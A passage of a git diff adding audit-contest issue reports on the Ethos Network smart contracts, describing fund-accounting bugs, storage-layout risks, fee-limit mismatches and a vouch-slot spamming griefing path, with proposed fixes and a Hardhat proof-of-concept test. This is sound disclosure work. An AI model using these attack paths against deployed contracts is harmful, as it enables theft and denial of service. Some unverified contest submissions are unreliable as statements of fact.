`EthosVouch` contract is corruptible, likewise. + +```mermaid +graph BT; + classDef nostruct fill:#f96; + classDef struct fill:#99cc00; + EthosProfile:::nostruct-->AccessControl:::nostruct + EthosProfile:::nostruct-->UUPSUpgradeable::::struct + EthosProfile:::nostruct-->ReentrancyGuard + AccessControl:::nostruct-->PausableUpgradeable + AccessControl:::nostruct-->AccessControlEnumerableUpgradeable:::classic + AccessControl:::nostruct-->SignatureControl:::nostruct + SignatureControl:::nostruct-->Initializable +``` + +### Mitigation + +Use `ReentrancyGuardUpgradeable` instead, as it has proper storage gaps reserved. + +Because it inherits from `Initializable`, whereas the simple (plain) `ReentrancyGuard` doesn't: +```solidity +// SPDX-License-Identifier: MIT +// OpenZeppelin Contracts (last updated v5.1.0) (utils/ReentrancyGuard.sol) + +pragma solidity ^0.8.20; + +/** + * @dev Contract module that helps prevent reentrant calls to a function. + * + * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier + * available, which can be applied to functions to make sure there are no nested + * (reentrant) calls to them. + * + * Note that because there is a single `nonReentrant` guard, functions marked as + * `nonReentrant` may not call one another. This can be worked around by making + * those functions `private`, and then adding `external` `nonReentrant` entry + * points to them. + * + * TIP: If EIP-1153 (transient storage) is available on the chain you're deploying at, + * consider using {ReentrancyGuardTransient} instead. + * + * TIP: If you would like to learn more about reentrancy and alternative ways + * to protect against it, check out our blog post + * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. + */ +abstract contract ReentrancyGuard { + // Booleans are more expensive than uint256 or any type that takes up a full + // word because each write operation emits an extra SLOAD to first read the + // slot's contents, replace the bits taken up by the boolean, and then write + // back. This is the compiler's defense against contract upgrades and + // pointer aliasing, and it cannot be disabled. + + // The values being non-zero value makes deployment a bit more expensive, + // but in exchange the refund on every call to nonReentrant will be lower in + // amount. Since refunds are capped to a percentage of the total + // transaction's gas, it is best to keep them low in cases like this one, to + // increase the likelihood of the full refund coming into effect. + uint256 private constant NOT_ENTERED = 1; + uint256 private constant ENTERED = 2; + + uint256 private _status; +``` + +vs. + +```solidity +pragma solidity ^0.8.20; +import {Initializable} from "../proxy/utils/Initializable.sol"; + +/** + * @dev Contract module that helps prevent reentrant calls to a function. + * + * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier + * available, which can be applied to functions to make sure there are no nested + * (reentrant) calls to them. + * + * Note that because there is a single `nonReentrant` guard, functions marked as + * `nonReentrant` may not call one another. This can be worked around by making + * those functions `private`, and then adding `external` `nonReentrant` entry + * points to them. + * + * TIP: If EIP-1153 (transient storage) is available on the chain you're deploying at, + * consider using {ReentrancyGuardTransient} instead. + * + * TIP: If you would like to learn more about reentrancy and alternative ways + * to protect against it, check out our blog post + * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. + */ +abstract contract ReentrancyGuardUpgradeable is Initializable { + // Booleans are more expensive than uint256 or any type that takes up a full + // word because each write operation emits an extra SLOAD to first read the + // slot's contents, replace the bits taken up by the boolean, and then write + // back. This is the compiler's defense against contract upgrades and + // pointer aliasing, and it cannot be disabled. + + // The values being non-zero value makes deployment a bit more expensive, + // but in exchange the refund on every call to nonReentrant will be lower in + // amount. Since refunds are capped to a percentage of the total + // transaction's gas, it is best to keep them low in cases like this one, to + // increase the likelihood of the full refund coming into effect. + uint256 private constant NOT_ENTERED = 1; + uint256 private constant ENTERED = 2; + + /// @custom:storage-location erc7201:openzeppelin.storage.ReentrancyGuard + struct ReentrancyGuardStorage { + uint256 _status; + } + + // keccak256(abi.encode(uint256(keccak256("openzeppelin.storage.ReentrancyGuard")) - 1)) & ~bytes32(uint256(0xff)) + bytes32 private constant ReentrancyGuardStorageLocation = 0x9b779b17422d0df92223018b32b4d1fa46e071723d6817e2486d003becc55f00; + + function _getReentrancyGuardStorage() private pure returns (ReentrancyGuardStorage storage $) { + assembly { + $.slot := ReentrancyGuardStorageLocation + } + } + + /** + * @dev Unauthorized reentrant call. + */ + error ReentrancyGuardReentrantCall(); + + function __ReentrancyGuard_init() internal onlyInitializing { + __ReentrancyGuard_init_unchained(); + } + + function __ReentrancyGuard_init_unchained() internal onlyInitializing { + ReentrancyGuardStorage storage $ = _getReentrancyGuardStorage(); + $._status = NOT_ENTERED; + } + +``` \ No newline at end of file diff --git a/563.md b/563.md new file mode 100644 index 0000000..fe0d191 --- /dev/null +++ b/563.md @@ -0,0 +1,40 @@ +Orbiting Brown Cricket + +Medium + +# Mock profiles can't create markets in `ReputationMarket` even though they can be vouched for. + +### Summary + +Mock profiles can be vouched for. It means that these profiles can actively participate in the protocol and earn donation fees inside the system. For most of the profiles the next step is market creation inside the `ReputationMarket` contract. However mock profiles can't create markets what prevents them from earning rewards in that contract. + +### Root Cause + +`_getProfileIdForAddress` will revert if the profile is mock. In EthosVouch this profile can be vouched for. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L282 + + +### Internal pre-conditions + +1. User needs to have valid mock profile which can be vouched for + +### External pre-conditions + +None + +### Attack Path + +None + +### Impact + +Mock profiles can't create markets in `ReputationMarket` even though they can be vouched for. It prevents them from earning rewards in that contract. + +### PoC + +None + +### Mitigation + +Allow mock profiles to participate in market creation as they are valid profiles that can be vouched for. \ No newline at end of file diff --git a/564.md b/564.md new file mode 100644 index 0000000..455a977 --- /dev/null +++ b/564.md @@ -0,0 +1,36 @@ +Rough Admiral Yak + +Medium + +# some discrepancy between code and documentation + +### Summary + +there are some discrepancy between the code and the documentation regarding certain values and calculations. These issues include incorrect calculations that affect critical values, such as initial liquidity and fee limits, which could result in unintended functionality if not addressed. + +### Root Cause + +In the `ReputationMarket` contract, the `initialLiquidity` is calculated as multiples of `DEFAULT_PRICE`. However, the calculation seems incorrect based on the associated comments in the documentation. The issue arises in the way the `initialLiquidity` values are assigned in each market tier, as it doesn’t match the expectations set by the documentation. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol?plain=1#L219-L254 + +Default tier: initialLiquidity: 2 * DEFAULT_PRICE, // Expected: 0.002 ETH, Actual: 0.02 ETH +Deluxe tier: initialLiquidity: 50 * DEFAULT_PRICE, // Expected: 0.05 ETH, Actual: 0.5 ETH +Premium tier: initialLiquidity: 100 * DEFAULT_PRICE, // Expected: 0.1 ETH, Actual: 1 ETH + + + + +Fee Limit Discrepancy in `EthosVouch`: +The documentation specifies that the maximum total fees cannot exceed 10%. However, the constant MAX_TOTAL_FEES is set to 10000, which, if treated as a percentage, would imply a 100% fee limit, not 10%. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol?plain=1#L120 + +uint256 public constant MAX_TOTAL_FEES = 10000; + + +### Impact + +discrepancy between code and documentation. while does not have direct impact on protocol, its against the invariant that is in contest readme.md and could cause problem due to mistake by [trusted] admin: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/README.md + diff --git a/565.md b/565.md new file mode 100644 index 0000000..3d03096 --- /dev/null +++ b/565.md @@ -0,0 +1,74 @@ +Thankful Lipstick Bull + +High + +# Wrong calculation of marketFunds leads to losses for other markets. + +### Summary + +Wrong calculation of `marketFunds` - this variable includes not only funds from bought votes, but also donations to owners and protocol fees, which does not exists in the contract balance at all. + +> + +### Root Cause + +[Link](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481) + +Variable `fundsPaid` includes both market funds from bought votes and fees: +```solidity + fundsPaid += protocolFee + donation; +``` + +Variable `marketFunds[profileId]` should track only market funds, because fees belongs to market's owner and protocol, but it increases by full amount spent by user: +```solidity + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds + marketFunds[profileId] += fundsPaid; +``` + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +Some details are omitted for simplicity: +- Owner creates market: +```solidity +marketFunds[profileId] = initialLiquidityRequired = 100 ETH +donationEscrow[donationRecipient[marketOwnerProfileId]] = 0 ETH +address(this).balance = 100 ETH +``` +- Users bought votes for 100 ETH, they also paid 5 ETH as donations and 3 ETH as entry fees: +```solidity +marketFunds[profileId] = 100 ETH + 107 ETH (fundsPaid) = 207 ETH +donationEscrow[donationRecipient[marketOwnerProfileId]] = 5 ETH +address(this).balance = 100 ETH + 105 ETH = 205 ETH +``` +- Real balance of contract is 205 ETH, because 3 ETH as entry fees were sent to `protocolFeeAddress`. +- Market was graduated; +- Owner can claim 5 ETH as donations in `withdrawDonations()`, but `withdrawGraduatedMarketFunds` will always revert because `address(this).balance (200 ETH) < marketFunds[profileId] = 207 ETH`. It breaks the invariant `The vouch and vault contracts must never revert a transaction due to running out of funds.` +- If there are other markets, then both transactions will be successfully executed, but funds will be stolen from liquidity of other markets. It breaks the invariant `They must never pay out the initial liquidity deposited. The only way to access those funds is to graduate the market.` + +### Impact + +Wrong calculation inflates `marketFunds[profileId]`, leading to unability to withdraw market funds, or to stealing them from other markets. + +### PoC + +_No response_ + +### Mitigation + +Change `buyVotes()` function: +```diff +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += fundsPaid - protocolFee - donation; +``` \ No newline at end of file diff --git a/566.md b/566.md new file mode 100644 index 0000000..da9e8c6 --- /dev/null +++ b/566.md @@ -0,0 +1,106 @@ +Zealous Golden Aardvark + +Medium + +# `isParticipant` is never set to false + +### Summary + +The [`isParticipant`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L123) mapping is used for checking if a user is a participant in a market or not. +```solidity + // profileId => participant address + // append only; don't bother removing. Use isParticipant to check if they've sold all their votes. + mapping(uint256 => address[]) public participants; +``` +A user is supposed to be determined as a participant when they buy votes using the `buyVotes` function. +```solidity + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + /// . . . Rest of the code . . . + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + /// . . . Rest of the code . . . +} +``` +However, the mapping should be updated to false when all votes are sold as per the code comments, which is missing inside the `sellVotes` function. +No kind of upgrade would fix such an issue. + +### Root Cause + +Missing `isParticipant` updation in the `sellVotes` function. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Anyone buys votes in an active market and sells all of them. +2. Any kind of contract upgrade would not fix such an issue as the mapping of it is eventually lost. + +### Impact + +1. Any future use case of `isParticipant` would be problematic as the mapping is lost. + +### PoC + +_No response_ + +### Mitigation + +It is recommended to set `isParticipant` to false when all votes are sold in the `sellVotes` function. +```diff +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; ++ if(votesOwned[msg.sender][profileId].votes[TRUST] == 0 && votesOwned[msg.sender][profileId].votes[DISTRUST] == 0){ ++ isParticipant[profileId][msg.sender] = false; ++ } + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds + marketFunds[profileId] -= fundsReceived; + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` diff --git a/567.md b/567.md new file mode 100644 index 0000000..180a360 --- /dev/null +++ b/567.md @@ -0,0 +1,162 @@ +Sweet Carmine Dachshund + +High + +# Any ether withdrawing functions could be DoS'ed due to incorrect fund calculation in `ReputationMarket#sellVotes()` + +### Summary + +Anyone can sell their votes of an active market to get back ether: +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees +@> applyFees(protocolFee, 0, profileId); //@audit-info pay protocol fee + + // send the proceeds to the seller +@> _sendEth(fundsReceived);//@audit-info the rest will be transferred to the seller + // tally market funds + marketFunds[profileId] -= fundsReceived; + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` +After [pay the protocol fee](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L517), the remaining ether will [return to the seller](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L520). + +However, the protocol fee was not deducted from the market: +```solidity +522: marketFunds[profileId] -= fundsReceived; +``` +Once the market is graduated, its funds might not able to be withdrawn due insufficient ether balance, or success withdrawing might DoS other functions from withdrawing ether from `ReputationMarket`. + +### Root Cause + +In [ReputationMarket.sol#L520](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L520), the protocol fee was not deducted from the market funds + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Any ether withdrawing functions could be DoS'ed due to insufficient ether balance in `ReputationMarket`: +- `sellVotes()` +- `withdrawDonations()` +- `withdrawGraduatedMarketFunds()` + +### PoC + +Copy below into [rep.graduate.test.ts](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/test/reputationMarket/rep.graduate.test.ts) and run `npm run test:contracts`: +```solidity + it.only('should revert due to incorrect fund calculation in sellVotes', async () => { + + await reputationMarket.connect(deployer.ADMIN).setProtocolFeeAddress(deployer.FEE_PROTOCOL_ACC); + //@audit-info buy votes + await userA.buyVotes({ buyAmount: ethers.parseEther('0.1') }); + //@audit-info set exit protocol fee to 5% + await reputationMarket.connect(deployer.ADMIN).setExitProtocolFeeBasisPoints(500); + expect(await reputationMarket.exitProtocolFeeBasisPoints()).to.equal(500); + expect(await reputationMarket.donationBasisPoints()).to.equal(0); + //@audit-info sell votes + const userAVotes = await reputationMarket.getUserVotes( + userA.signer.address, + DEFAULT.profileId, + ); + await userA.sellVotes({ sellVotes: userAVotes.trustVotes }); + + //@audit-info Graduate market + await reputationMarket.connect(graduator).graduateMarket(DEFAULT.profileId); + //@audit-info there is no enough ether in reputationMarket + const funds = await reputationMarket.marketFunds(DEFAULT.profileId); + const balance = await ethers.provider.getBalance(reputationMarket.getAddress()); + expect(balance).to.lessThan(funds); + //@audit-info Withdraw funds revert due to insufficient ether + await expect( + reputationMarket.connect(graduator).withdrawGraduatedMarketFunds(DEFAULT.profileId), + ).to.be.revertedWith("ETH transfer failed"); + }); +``` + + +### Mitigation + +The protocol fee should be deducted from the market funds when selling votes: +```diff + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds +- marketFunds[profileId] -= fundsReceived; ++ marketFunds[profileId] -= fundsReceived + protocolFee; + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` \ No newline at end of file diff --git a/568.md b/568.md new file mode 100644 index 0000000..59f9a94 --- /dev/null +++ b/568.md @@ -0,0 +1,50 @@ +Long Eggplant Eagle + +Medium + +# Not using the upgradeable version of ReentrancyGuard result in storage clashes in upgradeable contracts. + +### Summary + +[EthosVouch.sol](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L67) and [ReputationMarket.sol](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L36) are both UUPSUpgradeable contracts but both inherit Openzeppelin's ReentrancyGuard.sol, which is not meant for upgreadable contracts. This will results in storage clashes and corrupted data in the proxy and implementation. + +### Root Cause + +Both contracts inherit the wrong version of Openzeppelin's ReentrancyGuard. + +```solidity + +contract EthosVouch is AccessControl, UUPSUpgradeable, ITargetStatus, ReentrancyGuard { + +contract ReputationMarket is AccessControl, UUPSUpgradeable, ReentrancyGuard { +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +[ReentrancyGuard.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/6e05b68bd96ab90a4049adb89f20fd578404b274/contracts/utils/ReentrancyGuard.sol#L47C3-L49C6) doesnt have its storage variables stored in random slots like [ReentrancyGuardUpgradeable.sol](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/e26285b811cfab8a779994549b94219fc96a6013/contracts/utils/ReentrancyGuardUpgradeable.sol#L60C1-L66C33). It uses a constructor. The upgradeable version uses initialization to set up the variables used in the nonReentrant modifier. This will lead to storage misalignment in the proxy pattern when deploying and upgrading contracts. + +### PoC + +_No response_ + +### Mitigation + +Use ReentrancyGuardUpgradeable.sol instead of ReentrancyGuard.sol + +Ref : https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable + +An issue similar to this has been seen in the recent Ethos contest. + +https://github.com/sherlock-audit/2024-10-ethos-network-judging/issues/145 \ No newline at end of file diff --git a/569.md b/569.md new file mode 100644 index 0000000..192951a --- /dev/null +++ b/569.md @@ -0,0 +1,46 @@ +Warm Seafoam Crow + +High + +# lack of payable in create market + +### Summary + +when create market is called by createMarketWithConfig + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L315 + +it checks if the msg.value is less than initial liquidity required + + if (msg.value < initialLiquidityRequired) { + +however the function create market is not payable this causes the transaction to revert everytime the msg.value >0 + + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L315 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +In Solidity, using "msg.value" in non-payable functions is not permitted for security reasons. "msg.value" represents the amount of ether being sent with the function call. If it is used in a non-payable function, this indicates that the function is receiving ether, which was not intended. + +### PoC + +_No response_ + +### Mitigation + +use payable \ No newline at end of file diff --git a/570.md b/570.md new file mode 100644 index 0000000..28e014c --- /dev/null +++ b/570.md @@ -0,0 +1,53 @@ +Orbiting Brown Cricket + +High + +# Attacker can spam the lowest vouches for a profile with lowest possbile amount. + +### Summary + +An attacker can block all 256 vouches with smallest possible amount. It will prevent other vouchers from vouching for that profile. Another issues is that the profile owner will not be able to earn more donation fee. For example he could expect some big vouches but due to the fact that attacker took all the spots the profile owner will not earn any more donation fees. Also his trust score will be at the same level (very low level as 256 * 0,0001 = 0,0256 is a very small sum) and his credibility score can't progress. It is worth noting that the most important thing is the value vouched for the profile. Not the amount of the vouches. It means that one vouch for 0,03 ether will be a better outcome for the profile than 256 vouches for minimal absolute value. + +Determined attacker can create 256 Ethos profiles (which is possible) and vouch minimum amount from every account to the victim. As a result nobody else will be able to vouch and the profile owner will not be able to receive donations (possible bigger donations than donations calculated based of minimum amount possible). + +### Root Cause + +The profile can have maximum of 256 vouches. Minimum vouch is 0,0001 ether. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L330-L415 + +### Internal pre-conditions + +1. User needs to have an Ethos profile +2. The attacker needs to create 256 Ethos profiles + + +### External pre-conditions + +None + +### Attack Path + +1. The attacker needs to create 256 Ethos profiles +2. The attacker needs to vouch 256 times from every profile for victims profile +3. The attacker will fill up the profiles vouching space with lowest vouches + +### Impact + +User's vouching space will be full. As a result he will not be able to earn more donation fees. The donation fees from attacker will be very small. Also the sum of the vouched amount will be very small also possibly leading to very small trust score in the network. Also this disrupts the normal functionality of the vouch mechainsm for that user (DoS) which can last as long as attacker wants it to last. + +### PoC + +This attack is actually very cheap as the contract will be deployed on Base L2. + +It requires gas for creating 256 Ethos profiles. + +It requires gas for vouching and 0,0256 ether to vouch for. + +Today (05.12.2024) the 0,0256 costs around `$100,75` with ether price `3935.51 $ Per Ether`. (https://eth-converter.com/) + +So that attack is financially accessible. + +### Mitigation + +This mechanism needs refactoring if the protocol wants it to work correctly. I can't provide a certain fix for this issue. \ No newline at end of file diff --git a/571.md b/571.md new file mode 100644 index 0000000..f2197d6 --- /dev/null +++ b/571.md @@ -0,0 +1,109 @@ +Tall Cream Finch + +High + +# The fees should not be added to the `marketFunds` in the `buyVotes` function. + +### Summary + + +In [`ReputationMarket.sol:481`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481), `fundsPaid` is added to `marketFunds` to update the funds currently invested in the market. However, `fundsPaid` includes the buying fees, which should not be added to `marketFunds`. Because these fees have already been allocated to `protocolFeeAddress` and `donationRecipient` in `ReputationMarket.sol:464`, they no longer belong to the market. This results in `marketFunds` being larger than the actual funds, potentially causing the protocol to lose funds during the `withdrawGraduatedMarketFunds`. + +When buying votes, the actual ETH amount need to be paid (i.e. `fundsPaid`) is calculated in `_calculateBuy`. According to [`ReputationMarket.sol:978`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978), `fundsPaid` includs the buying fees (`protocolFee` and `donation`). +```solidity +// function: ReputationMarket.sol:_calculateBuy() + +978: fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); +``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978-L982 + + +Then in [`ReputationMarket.sol:464`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L464), the fees are applied, `protocolFee` is transferred to `protocolFeeAddress`, and `donation` is allocated to `donationRecipient`. This means that these fees do not belong to the market. However, in [`ReputationMarket.sol:481`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481), these fees are also added to `marketFunds` because they are included in `fundsPaid`. +```solidity +// function: ReputationMarket.sol:buyVotes() + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, +453: uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first +464: applyFees(protocolFee, donation, profileId); + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds +481: marketFunds[profileId] += fundsPaid; +``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L450-L481 + +This lead to issues during the withdrawal process from graduated markets in [`ReputationMarket.sol:675`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L675): +1. If the balance is insufficient, the `_sendEth` will be reverted. +2. If the balance is sufficient, the `_sendEth` will cause `ReputationMarket.sol` to lose funds. +This is because the amount of ETH transferred out to GRADUATION_WITHDRAWAL address is greater than the amount transferred in during buying. +```solidity +// function: ReputationMarket.sol:withdrawGraduatedMarketFunds() + +675: _sendEth(marketFunds[profileId]); +``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L675 + +### Root Cause + +In [`ReputationMarket.sol:481`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481), buying fees are also added to `marketFunds`, which makes `marketFunds` greater than the actual funds, thereby possibly causing the transaction to revert or resulting in the protocol losing funds when withdrawing funds from the graduated market. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A market is created. +2. Alice buys votes for the market. +3. GraduateContract graduates the market. +4. GraduateContract withdraws funds from the market, and the withdrawal reverts. + +### Impact + +This issue causes the transaction to revert or results in the protocol losing funds when withdrawing funds from the graduated market. + +### PoC + +_No response_ + +### Mitigation + +```solidity +// function: ReputationMarket.sol:buyVotes() + +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += fundsPaid - protocolFee - donation; +``` \ No newline at end of file diff --git a/572.md b/572.md new file mode 100644 index 0000000..74d453d --- /dev/null +++ b/572.md @@ -0,0 +1,41 @@ +Rapid Crepe Scallop + +Medium + +# MAX_TOTAL_FEES is wrongly set to 100% which allows totalFees to exceed the expected 10% mark + +### Summary + +The MAX_TOTAL_FEES invariant gets broken when `checkFeeExceedsMaximum` function does not revert for fees exceeding the 10% mark which is decided in the documentation provided by the Ethos team. + +This allows for adding a new fee percentage in basis points in place of either the protocol, donation, voucher and exit fee basis points. The final totalFees can be 10000 at max which is 100% of the amount. + +### Root Cause + +In EthosVouch contract line 120, the `MAX_TOTAL_FEES` is defined as a constant therefore once set to 10000, it won't change again. + +ref: https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The protocol incurs high taxes on the funds being put in the protocol on good faith for a higher return. This will break the expected 10% `MAX_TOTAL_FEES` invariant. + +### PoC + +_No response_ + +### Mitigation + +Change the value to `MAX_TOTAL_FEES = 1000` \ No newline at end of file diff --git a/573.md b/573.md new file mode 100644 index 0000000..43bcad4 --- /dev/null +++ b/573.md @@ -0,0 +1,72 @@ +Melodic Sand Newt + +Medium + +# Reputation Market Token Sale Restriction + +### Summary + +The Reputation market allows users to hold an unlimited number of votes until they choose to sell them through a bonding curve mechanism. The number of votes can be purchased beyond the initial liquidity provided in the mechanism. + +However, the protocol does not allow users to sell their tokens if `markets[profileId]` has a value of 1. The protocol should enable users to sell their tokens under these conditions. + + + +### Root Cause + +Users might hold more than 1 token, but the condition incorrectly prevents them from selling for market with config where initial liqudity is 1 or market.votes[Trust] or market.votes[Distrust] is 1. + + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1032-L1035 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users are unable to liquidate their positions to retrieve funds from the tokens they have purchased, limiting their ability to manage their investments effectively. +User might want to liquidate his some of the tokens. But there is no mechanism to liquidate it. + + +### PoC +```typescript + it('should allow a user to sell their last token', async () => { + // buy one positive vote + await userA.buyOneVote(); + + // check initial votes + let { trustVotes } = await userA.getVotes(); + expect(trustVotes).to.equal(1); + + // sell the last positive vote + await userA.sellOneVote(); + + // check final votes + ({ trustVotes } = await userA.getVotes()); + expect(trustVotes).to.equal(0); + }); +``` + +put this test in `test/reputationMarket/rep.market.test.ts` and run + +npx hardhat test + + +### Mitigation + +To resolve this issue, update the protocol's conditional checks to allow token sales when `markets[profileId]` is 1 . Specifically, modify the `if` statement to permit sales for users holding any number of votes, ensuring that users can liquidate their tokens regardless of the `markets[profileId]` value. Additionally, implement thorough testing to verify the changes and prevent similar restrictions in future protocol updates. + +```solidity + if (market.votes[isPositive ? TRUST : DISTRUST] < 1) { + revert InsufficientVotesToSell(profileId); + } +``` diff --git a/574.md b/574.md new file mode 100644 index 0000000..25082ef --- /dev/null +++ b/574.md @@ -0,0 +1,97 @@ +Prehistoric Coal Unicorn + +Medium + 